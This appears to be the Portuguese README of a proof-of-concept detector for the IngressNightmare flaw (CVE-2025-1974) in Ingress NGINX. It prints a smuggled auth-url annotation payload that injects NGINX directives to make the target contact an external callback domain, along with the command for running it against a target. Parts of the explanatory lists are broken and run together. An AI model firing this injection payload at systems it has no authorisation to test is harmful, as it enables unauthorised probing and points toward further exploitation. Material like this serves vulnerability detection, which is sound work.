
Ferramenta de Prova de Conceito para detetar IngressNightmare (CVE-2025-1974) por meios ativos (não intrusivos).
Esta ferramenta fornece uma capacidade de detecção não intrusiva para a cadeia de vulnerabilidades IngressNightmare (CVE-2025-1974) que afeta o Ingress NGINX Controller. Ela especificamente aproveita o vetor de injeção da anotação auth-url (CVE-2025-24514) para verificar a presença dessa vulnerabilidade crítica sem executar código arbitrário.
A cadeia de vulnerabilidades IngressNightmare permite que invasores injetem diretivas arbitrárias de configuração do NGINX por meio de vários campos de anotação do Ingress. Quando esses recursos Ingress maliciosos são processados pelo admission controller, as diretivas injetadas são avaliadas durante a fase de validação da configuração do NGINX (nginx -t).
Este PoC explora especificamente a vulnerabilidade da anotação auth-url ao injetar a diretiva error_log com um servidor syslog apontando para um domínio controlado pelo invasor. Durante a validação da configuração, o NGINX irá:
Essa atividade de resolução de DNS fornece um sinal confiável de que o alvo está vulnerável, sem exigir execução de código ou interrupção do serviço.
Estabeleça um listener de callback DNS usando Burp Collaborator, interactsh ou qualquer serviço de monitoramento de DNS.
Execute a ferramenta de detecção:
$ python3 detect.py -t https://target-admission-controller:443 -c w00tw00t.lf4v7uehamhtt4hufhstpla09rfi38rx.oastify.com
Se vulnerável, você observará tentativas de resolução de DNS para o seu domínio de callback DNS:

A ferramenta cria um objeto AdmissionReview especialmente elaborado contendo um recurso Ingress com o seguinte payload de injeção:
nginx.ingress.kubernetes.io/auth-url: "http://example.com/#;\n resolver 8.8.8.8;\n error_log syslog:server=unique-id.oastify.com:80 debug;\n #"
Este payload:
#) para encerrar a URLerror_log com syslog apontando para o domínio de callback DNSQuando processado por um admission controller vulnerável, isso resulta em uma consulta DNS de saída que confirma a presença da vulnerabilidade.
Esta ferramenta apenas detecta a presença da vulnerabilidade e não tenta explorá-la para execução de código arbitrário.